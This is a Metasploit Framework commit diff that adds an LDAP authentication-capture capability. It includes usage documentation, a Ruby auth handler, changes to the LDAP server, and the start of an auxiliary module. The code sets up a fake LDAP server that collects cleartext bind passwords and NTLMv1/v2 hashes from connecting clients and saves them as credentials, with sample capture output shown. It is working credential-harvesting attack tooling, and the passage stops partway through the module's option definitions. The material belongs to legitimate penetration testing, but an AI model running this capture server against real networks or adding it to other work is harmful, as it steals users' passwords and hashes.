Land #18678, add LDAP capture capabilities
This commit is contained in:
commit
7b56d012e8
|
@ -16,6 +16,8 @@ services:
|
|||
enabled: yes
|
||||
- type: IMAP
|
||||
enabled: yes
|
||||
- type: LDAP
|
||||
enabled: yes
|
||||
- type: MSSQL
|
||||
enabled: yes
|
||||
- type: MySQL
|
||||
|
|
|
@ -0,0 +1,52 @@
|
|||
|
||||
## Vulnerable Application
|
||||
|
||||
This module emulates an LDAP Server which accepts User Bind Request to capture the User Credentials.
|
||||
Upon receiving successful Bind Request, a `ldap_bind: Authentication method not supported (7)` error is sent to the User
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/server/capture/ldap`
|
||||
3. Do: `run`
|
||||
4. From a new shell or workstation, perform a ldap bind request involving User credentials.
|
||||
5. Check the database using `creds` for the user authentication information.
|
||||
|
||||
## Options
|
||||
|
||||
**Authentication**
|
||||
|
||||
The type of LDAP authentication to capture. The default type is `Simple`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Metasploit Server
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/server/capture/ldap
|
||||
msf6 auxiliary(server/capture/ldap) > run
|
||||
|
||||
[*] Server started.
|
||||
[+] LDAP Login attempt => From:10.0.2.15:48198 Username:User Password:Pass
|
||||
```
|
||||
|
||||
### Client
|
||||
|
||||
```
|
||||
└─$ ldapsearch -LLL -H ldap://10.0.2.15 -D cn=User,dc=example,dc=com -W
|
||||
Enter LDAP Password:
|
||||
ldap_bind: Auth Method Not Supported (7)
|
||||
additional info: Auth Method Not Supported
|
||||
```
|
||||
|
||||
**Database**
|
||||
|
||||
```
|
||||
msf6 auxiliary(server/capture/ldap) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
10.0.2.15 10.0.2.15 389/tcp (ldap) User Pass example.com Password
|
||||
```
|
|
@ -76,6 +76,13 @@ module Msf
|
|||
#
|
||||
def start_service
|
||||
comm = _determine_server_comm(bindhost)
|
||||
auth_handler = Rex::Proto::LDAP::Auth.new(
|
||||
datastore['CHALLENGE'],
|
||||
datastore['Domain'],
|
||||
datastore['Server'],
|
||||
datastore['DnsName'],
|
||||
datastore['DnsDomain']
|
||||
)
|
||||
self.service = Rex::ServiceManager.start(
|
||||
Rex::Proto::LDAP::Server,
|
||||
bindhost,
|
||||
|
@ -84,6 +91,7 @@ module Msf
|
|||
datastore['LdapServerTcp'],
|
||||
read_ldif,
|
||||
comm,
|
||||
auth_handler,
|
||||
{ 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
|
||||
|
|
|
@ -0,0 +1,342 @@
|
|||
require 'net/ldap'
|
||||
require 'net/ldap/dn'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module LDAP
|
||||
class Auth
|
||||
SUPPORTS_SASL = %w[GSS-SPNEGO NLTM]
|
||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
||||
MESSAGE = Rex::Proto::NTLM::Message
|
||||
|
||||
#
|
||||
# Initialize the required variables
|
||||
#
|
||||
# @param challenge [String] NTLM Server Challenge
|
||||
# @param domain [String] Domain value used in NTLM
|
||||
# @param server [String] Server value used in NTLM
|
||||
# @param dnsname [String] DNS Name value used in NTLM
|
||||
# @param dnsdomain [String] DNS Domain value used in NTLM
|
||||
def initialize(challenge, domain, server, dnsname, dnsdomain)
|
||||
@domain = domain.nil? ? 'DOMAIN' : domain
|
||||
@server = server.nil? ? 'SERVER' : server
|
||||
@dnsname = dnsname.nil? ? 'server' : dnsname
|
||||
@dnsdomain = dnsdomain.nil? ? 'example.com' : dnsdomain
|
||||
@challenge = [challenge.nil? ? Rex::Text.rand_text_alphanumeric(16) : challenge].pack('H*')
|
||||
end
|
||||
|
||||
#
|
||||
# Process the incoming LDAP login requests from clients
|
||||
#
|
||||
# @param user_login [OpenStruct] User login information
|
||||
#
|
||||
# @return auth_info [Hash] Processed authentication information
|
||||
def process_login_request(user_login)
|
||||
auth_info = {}
|
||||
|
||||
if user_login.name.empty? && user_login.authentication.empty? # Anonymous
|
||||
auth_info = handle_anonymous_request(user_login, auth_info)
|
||||
elsif !user_login.name.empty? # Simple
|
||||
auth_info = handle_simple_request(user_login, auth_info)
|
||||
elsif sasl?(user_login)
|
||||
auth_info = handle_sasl_request(user_login, auth_info)
|
||||
else
|
||||
auth_info = handle_unknown_request(user_login, auth_info)
|
||||
end
|
||||
|
||||
auth_info
|
||||
end
|
||||
|
||||
#
|
||||
# Handle Anonymous authentication requests
|
||||
#
|
||||
# @param user_login [OpenStruct] User login information
|
||||
# @param auth_info [Hash] Processed authentication information
|
||||
#
|
||||
# @return auth_info [Hash] Processed authentication information
|
||||
def handle_anonymous_request(user_login, auth_info = {})
|
||||
if user_login.name.empty? && user_login.authentication.empty?
|
||||
auth_info[:user] = user_login.name
|
||||
auth_info[:pass] = user_login.authentication
|
||||
auth_info[:domain] = nil
|
||||
auth_info[:result_code] = Net::LDAP::ResultCodeSuccess
|
||||
auth_info[:auth_type] = 'Anonymous'
|
||||
end
|
||||
auth_info
|
||||
end
|
||||
|
||||
#
|
||||
# Handle Unknown authentication requests
|
||||
#
|
||||
# @param user_login [OpenStruct] User login information
|
||||
# @param auth_info [Hash] Processed authentication information
|
||||
#
|
||||
# @return auth_info [Hash] Processed authentication information
|
||||
def handle_unknown_request(user_login, auth_info = {})
|
||||
auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported
|
||||
auth_info[:error_msg] = 'Invalid LDAP Login Attempt => Unknown Authentication Format'
|
||||
auth_info
|
||||
end
|
||||
|
||||
#
|
||||
# Handle Simple authentication requests
|
||||
#
|
||||
# @param user_login [OpenStruct] User login information
|
||||
# @param auth_info [Hash] Processed authentication information
|
||||
#
|
||||
# @return auth_info [Hash] Processed authentication information
|
||||
def handle_simple_request(user_login, auth_info = {})
|
||||
domains = []
|
||||
names = []
|
||||
if !user_login.name.empty?
|
||||
if user_login.name =~ /@/
|
||||
pub_info = user_login.name.split('@')
|
||||
if pub_info.length <= 2
|
||||
auth_info[:user], auth_info[:domain] = pub_info
|
||||
else
|
||||
auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials
|
||||
auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}"
|
||||
end
|
||||
elsif user_login.name =~ /,/
|
||||
begin
|
||||
dn = Net::LDAP::DN.new(user_login.name)
|
||||
dn.each_pair do |key, value|
|
||||
if key == 'cn'
|
||||
names << value
|
||||
elsif key == 'dc'
|
||||
domains << value
|
||||
end
|
||||
end
|
||||
auth_info[:user] = names.join('')
|
||||
auth_info[:domain] = domains.empty? ? nil : domains.join('.')
|
||||
rescue Net::LDAP::InvalidDNError => e
|
||||
auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}"
|
||||
raise e
|
||||
end
|
||||
elsif user_login.name =~ /\\/
|
||||
pub_info = user_login.name.split('\\')
|
||||
if pub_info.length <= 2
|
||||
auth_info[:domain], auth_info[:user] = pub_info
|
||||
else
|
||||
auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials
|
||||
auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}"
|
||||
end
|
||||
else
|
||||
auth_info[:user] = user_login.name
|
||||
auth_info[:domain] = nil
|
||||
auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials
|
||||
end
|
||||
auth_info[:private] = user_login.authentication
|
||||
auth_info[:private_type] = :password
|
||||
auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported if auth_info[:result_code].nil?
|
||||
auth_info[:auth_type] = 'Simple'
|
||||
auth_info
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Handle SASL authentication requests
|
||||
#
|
||||
# @param user_login [OpenStruct] User login information
|
||||
# @param auth_info [Hash] Processed authentication information
|
||||
#
|
||||
# @return auth_info [Hash] Processed authentication information
|
||||
def handle_sasl_request(user_login, auth_info = {})
|
||||
case user_login.authentication[1]
|
||||
when /NTLMSSP/
|
||||
message = Net::NTLM::Message.parse(user_login.authentication[1])
|
||||
if message.is_a?(::Net::NTLM::Message::Type1)
|
||||
auth_info[:server_creds] = generate_type2_response(message)
|
||||
auth_info[:result_code] = Net::LDAP::ResultCodeSaslBindInProgress
|
||||
elsif message.is_a?(::Net::NTLM::Message::Type3)
|
||||
auth_info = handle_type3_message(message, auth_info)
|
||||
auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported
|
||||
end
|
||||
else
|
||||
auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported
|
||||
auth_info[:error_msg] = 'Invalid LDAP Login Attempt => Unsupported SASL Format'
|
||||
end
|
||||
auth_info[:auth_type] = 'SASL'
|
||||
auth_info
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Determine if the supplied request is formatted for SASL auth
|
||||
#
|
||||
# @param user_login [OpenStruct] User login information
|
||||
#
|
||||
# @return [bool] True if the request can be processed for SASL auth
|
||||
def sasl?(user_login)
|
||||
if user_login.authentication.is_a?(Array) && SUPPORTS_SASL.include?(user_login.authentication[0])
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate NTLM Type2 response from NTLM Type1 message
|
||||
#
|
||||
# @param message [Net::NTLM::Message::Type1] NTLM Type1 message
|
||||
#
|
||||
# @return server_hash [String] NTLM Type2 response that is sent as server credentials
|
||||
def generate_type2_response(message)
|
||||
dom = message.domain
|
||||
ws = message.workstation
|
||||
domain = dom.empty? ? @domain : dom
|
||||
server = ws.empty? ? @server : ws
|
||||
server_hash = MESSAGE.process_type1_message(message.encode64, @challenge, domain, server, @dnsname, @dnsdomain)
|
||||
Rex::Text.decode_base64(server_hash)
|
||||
end
|
||||
|
||||
#
|
||||
# Handle NTLM Type3 message
|
||||
#
|
||||
# @param message [Net::NTLM::Message::Type3] NTLM Type3 message
|
||||
# @param auth_info [Hash] Processed authentication information
|
||||
#
|
||||
# @return auth_info [Hash] Processed authentication information
|
||||
def handle_type3_message(message, auth_info = {})
|
||||
arg = {
|
||||
domain: message.domain,
|
||||
user: message.user,
|
||||
host: message.workstation
|
||||
}
|
||||
|
||||
domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(message.encode64)
|
||||
nt_len = ntlm_hash.length
|
||||
|
||||
if nt_len == 48
|
||||
arg[:ntlm_ver] = NTLM_CONST::NTLM_V1_RESPONSE
|
||||
arg[:lm_hash] = lm_hash
|
||||
arg[:nt_hash] = ntlm_hash
|
||||
|
||||
if arg[:lm_hash][16, 32] == '0' * 32
|
||||
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
||||
end
|
||||
elsif nt_len > 48
|
||||
arg[:ntlm_ver] = NTLM_CONST::NTLM_V2_RESPONSE
|
||||
arg[:lm_hash] = lm_hash[0, 32]
|
||||
arg[:lm_cli_challenge] = lm_hash[32, 16]
|
||||
arg[:nt_hash] = ntlm_hash[0, 32]
|
||||
arg[:nt_cli_challenge] = ntlm_hash[32, nt_len - 32]
|
||||
else
|
||||
auth_info[:error_msg] = "Unknown hash type from #{host}, ignoring ..."
|
||||
end
|
||||
auth_info.merge(process_ntlm_hash(arg)) unless arg.nil?
|
||||
end
|
||||
|
||||
#
|
||||
# Process the NTLM Hash received from NTLM Type3 message
|
||||
#
|
||||
# @param arg [Hash] authentication information received from Type3 message
|
||||
#
|
||||
# @return arg [Hash] Processed NTLM authentication information
|
||||
def process_ntlm_hash(arg = {})
|
||||
ntlm_ver = arg[:ntlm_ver]
|
||||
lm_hash = arg[:lm_hash]
|
||||
nt_hash = arg[:nt_hash]
|
||||
unless ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE || ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
||||
lm_cli_challenge = arg[:lm_cli_challenge]
|
||||
nt_cli_challenge = arg[:nt_cli_challenge]
|
||||
end
|
||||
domain = Rex::Text.to_ascii(arg[:domain])
|
||||
user = Rex::Text.to_ascii(arg[:user])
|
||||
host = Rex::Text.to_ascii(arg[:host])
|
||||
|
||||
case ntlm_ver
|
||||
when NTLM_CONST::NTLM_V1_RESPONSE
|
||||
if NTLM_CRYPT.is_hash_from_empty_pwd?({
|
||||
hash: [nt_hash].pack('H*'),
|
||||
srv_challenge: @challenge,
|
||||
ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE,
|
||||
type: 'ntlm'
|
||||
})
|
||||
arg[:error_msg] = 'NLMv1 Hash correspond to an empty password, ignoring ... '
|
||||
return
|
||||
end
|
||||
if lm_hash == nt_hash || lm_hash == '' || lm_hash =~ /^0*$/
|
||||
lm_hash_message = 'Disabled'
|
||||
elsif NTLM_CRYPT.is_hash_from_empty_pwd?({
|
||||
hash: [lm_hash].pack('H*'),
|
||||
srv_challenge: @challenge,
|
||||
ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE,
|
||||
type: 'lm'
|
||||
})
|
||||
lm_hash_message = 'Disabled (from empty password)'
|
||||
else
|
||||
lm_hash_message = lm_hash
|
||||
end
|
||||
|
||||
hash = [
|
||||
lm_hash || '0' * 48,
|
||||
nt_hash || '0' * 48
|
||||
].join(':').gsub(/\n/, '\\n')
|
||||
arg[:private] = hash
|
||||
when NTLM_CONST::NTLM_V2_RESPONSE
|
||||
if NTLM_CRYPT.is_hash_from_empty_pwd?({
|
||||
hash: [nt_hash].pack('H*'),
|
||||
srv_challenge: @challenge,
|
||||
cli_challenge: [nt_cli_challenge].pack('H*'),
|
||||
user: user,
|
||||
domain: domain,
|
||||
ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE,
|
||||
type: 'ntlm'
|
||||
})
|
||||
arg[:error_msg] = 'NTLMv2 Hash correspond to an empty password, ignoring ... '
|
||||
return
|
||||
end
|
||||
if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16)
|
||||
lm_hash_message = 'Disabled'
|
||||
elsif NTLM_CRYPT.is_hash_from_empty_pwd?({
|
||||
hash: [lm_hash].pack('H*'),
|
||||
srv_challenge: @challenge,
|
||||
cli_challenge: [lm_cli_challenge].pack('H*'),
|
||||
user: user,
|
||||
domain: domain,
|
||||
ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE,
|
||||
type: 'lm'
|
||||
})
|
||||
lm_hash_message = 'Disabled (from empty password)'
|
||||
else
|
||||
lm_hash_message = lm_hash
|
||||
end
|
||||
|
||||
hash = [
|
||||
lm_hash || '0' * 32,
|
||||
nt_hash || '0' * 32
|
||||
].join(':').gsub(/\n/, '\\n')
|
||||
arg[:private] = hash
|
||||
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
||||
if NTLM_CRYPT.is_hash_from_empty_pwd?({
|
||||
hash: [nt_hash].pack('H*'),
|
||||
srv_challenge: @challenge,
|
||||
cli_challenge: [lm_hash].pack('H*')[0, 8],
|
||||
ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE,
|
||||
type: 'ntlm'
|
||||
})
|
||||
arg[:error_msg] = 'NTLM2_session Hash correspond to an empty password, ignoring ... '
|
||||
return
|
||||
end
|
||||
|
||||
hash = [
|
||||
lm_hash || '0' * 48,
|
||||
nt_hash || '0' * 48
|
||||
].join(':').gsub(/\n/, '\\n')
|
||||
arg[:private] = hash
|
||||
else
|
||||
return
|
||||
end
|
||||
arg[:domain] = domain
|
||||
arg[:user] = user
|
||||
arg[:host] = host
|
||||
arg[:private_type] = :ntlm_hash
|
||||
arg
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -56,12 +56,13 @@ module Rex
|
|||
# @param udp [TrueClass, FalseClass] Listen on UDP socket
|
||||
# @param tcp [TrueClass, FalseClass] Listen on TCP socket
|
||||
# @param ldif [String] LDIF data
|
||||
# @param auth_provider [Rex::Proto::LDAP::Auth] LDAP Authentication provider which processes authentication
|
||||
# @param ctx [Hash] Framework context for sockets
|
||||
# @param dblock [Proc] Handler for :dispatch_request flow control interception
|
||||
# @param sblock [Proc] Handler for :send_response flow control interception
|
||||
#
|
||||
# @return [Rex::Proto::LDAP::Server] LDAP Server object
|
||||
def initialize(lhost = '0.0.0.0', lport = 389, udp = true, tcp = true, ldif = nil, comm = nil, ctx = {}, dblock = nil, sblock = nil)
|
||||
def initialize(lhost = '0.0.0.0', lport = 389, udp = true, tcp = true, ldif = nil, comm = nil, auth_provider = nil, ctx = {}, dblock = nil, sblock = nil)
|
||||
@serve_udp = udp
|
||||
@serve_tcp = tcp
|
||||
@sock_options = {
|
||||
|
@ -74,6 +75,7 @@ module Rex
|
|||
self.listener_thread = nil
|
||||
self.dispatch_request_proc = dblock
|
||||
self.send_response_proc = sblock
|
||||
@auth_provider = auth_provider
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -109,11 +111,13 @@ module Rex
|
|||
stop
|
||||
raise e
|
||||
end
|
||||
if !serve_udp
|
||||
unless serve_udp
|
||||
self.listener_thread = tcp_sock.listener_thread
|
||||
end
|
||||
end
|
||||
|
||||
@auth_provider ||= Rex::Proto::LDAP::Auth.new(nil, nil, nil, nil, nil)
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
|
@ -149,53 +153,90 @@ module Rex
|
|||
#
|
||||
# Default LDAP request dispatcher
|
||||
#
|
||||
# @param cli [Rex::Socket::Tcp, Rex::Socket::Udp] Client sending the request
|
||||
# @param client [Rex::Socket::Tcp, Rex::Socket::Udp] Client sending the request
|
||||
# @param data [String] raw LDAP request data
|
||||
def default_dispatch_request(cli, data)
|
||||
return if data.strip.empty?
|
||||
def default_dispatch_request(client, data)
|
||||
return if data.strip.empty? || data.strip.nil?
|
||||
|
||||
processed_pdu_data = {
|
||||
ip: client.peerhost,
|
||||
port: client.peerport,
|
||||
service_name: 'ldap',
|
||||
post_pdu: false
|
||||
}
|
||||
|
||||
data.extend(Net::BER::Extensions::String)
|
||||
begin
|
||||
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
|
||||
wlog("LDAP request has remaining data: #{data}") if !data.empty?
|
||||
resp = case pdu.app_tag
|
||||
when Net::LDAP::PDU::BindRequest # bind request
|
||||
cli.authenticated = true
|
||||
encode_ldap_response(
|
||||
pdu.message_id,
|
||||
Net::LDAP::ResultCodeSuccess,
|
||||
'',
|
||||
'',
|
||||
Net::LDAP::PDU::BindResult
|
||||
)
|
||||
when Net::LDAP::PDU::SearchRequest # search request
|
||||
if cli.authenticated
|
||||
# Perform query against some loaded LDIF structure
|
||||
treebase = pdu.search_parameters[:base_object].to_s
|
||||
# ... search, build packet, send to client
|
||||
encode_ldap_response(
|
||||
pdu.message_id,
|
||||
Net::LDAP::ResultCodeNoSuchObject, '',
|
||||
Net::LDAP::ResultStrings[Net::LDAP::ResultCodeNoSuchObject],
|
||||
Net::LDAP::PDU::SearchResult
|
||||
)
|
||||
else
|
||||
service.encode_ldap_response(pdu.message_id, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
|
||||
end
|
||||
when Net::LDAP::PDU::UnbindRequest
|
||||
nil # close client, no response can be sent over unbound comm
|
||||
else
|
||||
service.encode_ldap_response(
|
||||
pdu.message_id,
|
||||
Net::LDAP::ResultCodeUnwillingToPerform,
|
||||
'',
|
||||
Net::LDAP::ResultStrings[Net::LDAP::ResultCodeUnwillingToPerform],
|
||||
Net::LDAP::PDU::SearchResult
|
||||
) end
|
||||
resp.nil? ? cli.close : send_response(cli, resp)
|
||||
wlog("LDAP request data remaining: #{data}") unless data.empty?
|
||||
|
||||
res = case pdu.app_tag
|
||||
when Net::LDAP::PDU::BindRequest
|
||||
user_login = pdu.bind_parameters
|
||||
server_creds = ''
|
||||
context_code = nil
|
||||
processed_pdu_data = @auth_provider.process_login_request(user_login).merge(processed_pdu_data)
|
||||
if processed_pdu_data[:result_code] == Net::LDAP::ResultCodeSaslBindInProgress
|
||||
server_creds = processed_pdu_data[:server_creds]
|
||||
context_code = 7
|
||||
else
|
||||
processed_pdu_data[:result_message] = "LDAP Login Attempt => From:#{processed_pdu_data[:ip]}:#{processed_pdu_data[:port]}\t Username:#{processed_pdu_data[:user]}\t #{processed_pdu_data[:private_type]}:#{processed_pdu_data[:private]}\t"
|
||||
processed_pdu_data[:result_message] += " Domain:#{processed_pdu_data[:domain]}" if processed_pdu_data[:domain]
|
||||
processed_pdu_data[:post_pdu] = true
|
||||
end
|
||||
processed_pdu_data[:pdu_type] = pdu.app_tag
|
||||
encode_ldap_response(
|
||||
pdu.message_id,
|
||||
processed_pdu_data[:result_code],
|
||||
'',
|
||||
Net::LDAP::ResultStrings[processed_pdu_data[:result_code]],
|
||||
Net::LDAP::PDU::BindResult,
|
||||
server_creds,
|
||||
context_code
|
||||
)
|
||||
when Net::LDAP::PDU::SearchRequest
|
||||
filter = Net::LDAP::Filter.parse_ldap_filter(pdu.search_parameters[:filter])
|
||||
attrs = pdu.search_parameters[:attributes].empty? ? :all : pdu.search_parameters[:attributes]
|
||||
res = search_result(filter, pdu.message_id, attrs)
|
||||
if res.nil? || res.empty?
|
||||
result_code = Net::LDAP::ResultCodeNoSuchObject
|
||||
else
|
||||
client.write(res)
|
||||
result_code = Net::LDAP::ResultCodeSuccess
|
||||
end
|
||||
processed_pdu_data[:pdu_type] = pdu.app_tag
|
||||
encode_ldap_response(
|
||||
pdu.message_id,
|
||||
result_code,
|
||||
'',
|
||||
Net::LDAP::ResultStrings[result_code],
|
||||
Net::LDAP::PDU::SearchResult
|
||||
)
|
||||
when Net::LDAP::PDU::UnbindRequest
|
||||
client.close
|
||||
nil
|
||||
else
|
||||
if suitable_response(pdu.app_tag)
|
||||
result_code = Net::LDAP::ResultCodeUnwillingToPerform
|
||||
encode_ldap_response(
|
||||
pdu.message_id,
|
||||
result_code,
|
||||
'',
|
||||
Net::LDAP::ResultStrings[result_code],
|
||||
suitable_response(pdu.app_tag)
|
||||
)
|
||||
else
|
||||
client.close
|
||||
end
|
||||
end
|
||||
|
||||
if @pdu_process[pdu.app_tag] && !processed_pdu_data.empty?
|
||||
@pdu_process[pdu.app_tag].call(processed_pdu_data)
|
||||
end
|
||||
send_response(client, res) unless res.nil?
|
||||
rescue StandardError => e
|
||||
elog(e)
|
||||
cli.close
|
||||
client.close
|
||||
raise e
|
||||
end
|
||||
end
|
||||
|
@ -203,50 +244,84 @@ module Rex
|
|||
#
|
||||
# Encode response for LDAP client consumption
|
||||
#
|
||||
# @param msgid [Integer] LDAP message identifier
|
||||
# @param code [Integer] LDAP message code
|
||||
# @param dn [String] LDAP distinguished name
|
||||
# @param msg [String] LDAP response message
|
||||
# @param tag [Integer] LDAP response tag
|
||||
# @param msgid [Integer] LDAP message identifier
|
||||
# @param code [Integer] LDAP message code
|
||||
# @param dn [String] LDAP distinguished name
|
||||
# @param msg [String] LDAP response message
|
||||
# @param tag [Integer] LDAP response tag
|
||||
# @param context_data [String] Additional data to serialize in the sequence
|
||||
# @param context_code [Integer] Context Specific code related to `context_data`
|
||||
#
|
||||
# @return [Net::BER::BerIdentifiedOid] LDAP query response
|
||||
def encode_ldap_response(msgid, code, dn, msg, tag)
|
||||
def encode_ldap_response(msgid, code, dn, msg, tag, context_data = nil, context_code = nil)
|
||||
tag_sequence = [
|
||||
code.to_ber_enumerated,
|
||||
dn.to_ber,
|
||||
msg.to_ber
|
||||
]
|
||||
|
||||
if context_data && context_code
|
||||
tag_sequence << context_data.to_ber_contextspecific(context_code)
|
||||
end
|
||||
|
||||
[
|
||||
msgid.to_ber,
|
||||
[
|
||||
code.to_ber_enumerated,
|
||||
dn.to_ber,
|
||||
msg.to_ber
|
||||
].to_ber_appsequence(tag)
|
||||
tag_sequence.to_ber_appsequence(tag)
|
||||
].to_ber_sequence
|
||||
end
|
||||
|
||||
#
|
||||
# Search provided ldif data for query information
|
||||
# Search provided ldif data for query information. If no `ldif` was provided a random search result will be generated.
|
||||
#
|
||||
# @param filter [Net::LDAP::Filter] LDAP query filter
|
||||
# @param attrflt [Array, Symbol] LDAP attribute filter
|
||||
#
|
||||
# @return [Array] Query matches
|
||||
def search_ldif(filter, msgid, attrflt = :all)
|
||||
return [] if @ldif.nil? || @ldif.empty?
|
||||
|
||||
ldif.map do |dn, entry|
|
||||
next unless filter.match(entry)
|
||||
|
||||
def search_result(filter, msgid, attrflt = :all)
|
||||
if @ldif.nil? || @ldif.empty?
|
||||
attrs = []
|
||||
entry.each do |k, v|
|
||||
if attrflt == :all || attrflt.include?(k.downcase)
|
||||
attrvals = v.map(&:to_ber).to_ber_set
|
||||
attrs << [k.to_ber, attrvals].to_ber_sequence
|
||||
if attrflt.is_a?(Array)
|
||||
attrflt.each do |at|
|
||||
attrval = [Rex::Text.rand_text_alphanumeric(10)].map(&:to_ber).to_ber_set
|
||||
attrs << [at.to_ber, attrval].to_ber_sequence
|
||||
end
|
||||
dn = "dc=#{Rex::Text.rand_text_alphanumeric(10)},dc=#{Rex::Text.rand_text_alpha(4)}"
|
||||
appseq = [
|
||||
dn.to_ber,
|
||||
attrs.to_ber_sequence
|
||||
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
|
||||
[msgid.to_ber, appseq].to_ber_sequence
|
||||
end
|
||||
appseq = [
|
||||
dn.to_ber,
|
||||
attrs.to_ber_sequence
|
||||
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
|
||||
[msgid.to_ber, appseq].to_ber_sequence
|
||||
end.compact
|
||||
else
|
||||
ldif.map do |bind_dn, entry|
|
||||
next unless filter.match(entry)
|
||||
|
||||
attrs = []
|
||||
entry.each do |k, v|
|
||||
if attrflt == :all || attrflt.include?(k.downcase)
|
||||
attrvals = v.map(&:to_ber).to_ber_set
|
||||
attrs << [k.to_ber, attrvals].to_ber_sequence
|
||||
end
|
||||
end
|
||||
appseq = [
|
||||
bind_dn.to_ber,
|
||||
attrs.to_ber_sequence
|
||||
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
|
||||
[msgid.to_ber, appseq].to_ber_sequence
|
||||
end.compact.join
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the tasks to be performed after processing of pdu object
|
||||
#
|
||||
# @param proc [Proc] block of code to execute
|
||||
#
|
||||
# @return pdu_process [Proc] steps to be executed
|
||||
def processed_pdu_handler(pdu_type, &proc)
|
||||
@pdu_process = []
|
||||
@pdu_process[pdu_type] = proc if block_given?
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -256,6 +331,27 @@ module Rex
|
|||
"#{args[0] || ''}-#{args[1] || ''}-#{args[4] || ''}"
|
||||
end
|
||||
|
||||
#
|
||||
# Get suitable response for a particular request
|
||||
#
|
||||
# @param request [Integer] Type of request
|
||||
#
|
||||
# @return response [Integer] Type of response
|
||||
def suitable_response(request)
|
||||
responses = {
|
||||
Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult,
|
||||
Net::LDAP::PDU::SearchRequest => Net::LDAP::PDU::SearchResult,
|
||||
Net::LDAP::PDU::ModifyRequest => Net::LDAP::PDU::ModifyResponse,
|
||||
Net::LDAP::PDU::AddRequest => Net::LDAP::PDU::AddResponse,
|
||||
Net::LDAP::PDU::DeleteRequest => Net::LDAP::PDU::DeleteResponse,
|
||||
Net::LDAP::PDU::ModifyRDNRequest => Net::LDAP::PDU::ModifyRDNResponse,
|
||||
Net::LDAP::PDU::CompareRequest => Net::LDAP::PDU::CompareResponse,
|
||||
Net::LDAP::PDU::ExtendedRequest => Net::LDAP::PDU::ExtendedResponse
|
||||
}
|
||||
|
||||
responses[request]
|
||||
end
|
||||
|
||||
#
|
||||
# LDAP server.
|
||||
#
|
||||
|
@ -299,7 +395,7 @@ module Rex
|
|||
|
||||
dispatch_request(cli, data)
|
||||
rescue EOFError => e
|
||||
tcp_socket.close_client(cli) if cli
|
||||
tcp_sock.close_client(cli) if cli
|
||||
raise e
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,103 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::LDAP::Server
|
||||
|
||||
def initialize(_info = {})
|
||||
super(
|
||||
'Name' => 'Authentication Capture: LDAP',
|
||||
'Description' => %q{
|
||||
This module mocks an LDAP service to capture authentication
|
||||
information of a client trying to authenticate against an LDAP service
|
||||
},
|
||||
'Author' => 'JustAnda7',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
[ 'Capture', { 'Description' => 'Run an LDAP capture server' } ]
|
||||
],
|
||||
'PassiveActions' => [ 'Capture' ],
|
||||
'DefaultAction' => 'Capture',
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('SRVHOST', [ true, 'The ip address to listen on.', '0.0.0.0' ]),
|
||||
OptPort.new('SRVPORT', [ true, 'The port to listen on.', '389' ]),
|
||||
OptString.new('CHALLENGE', [ true, 'The 8 byte challenge', Rex::Text.rand_text_alphanumeric(16) ])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('LDIF_FILE')
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('Domain', [ false, 'The default domain to use for NTLM authentication', 'DOMAIN']),
|
||||
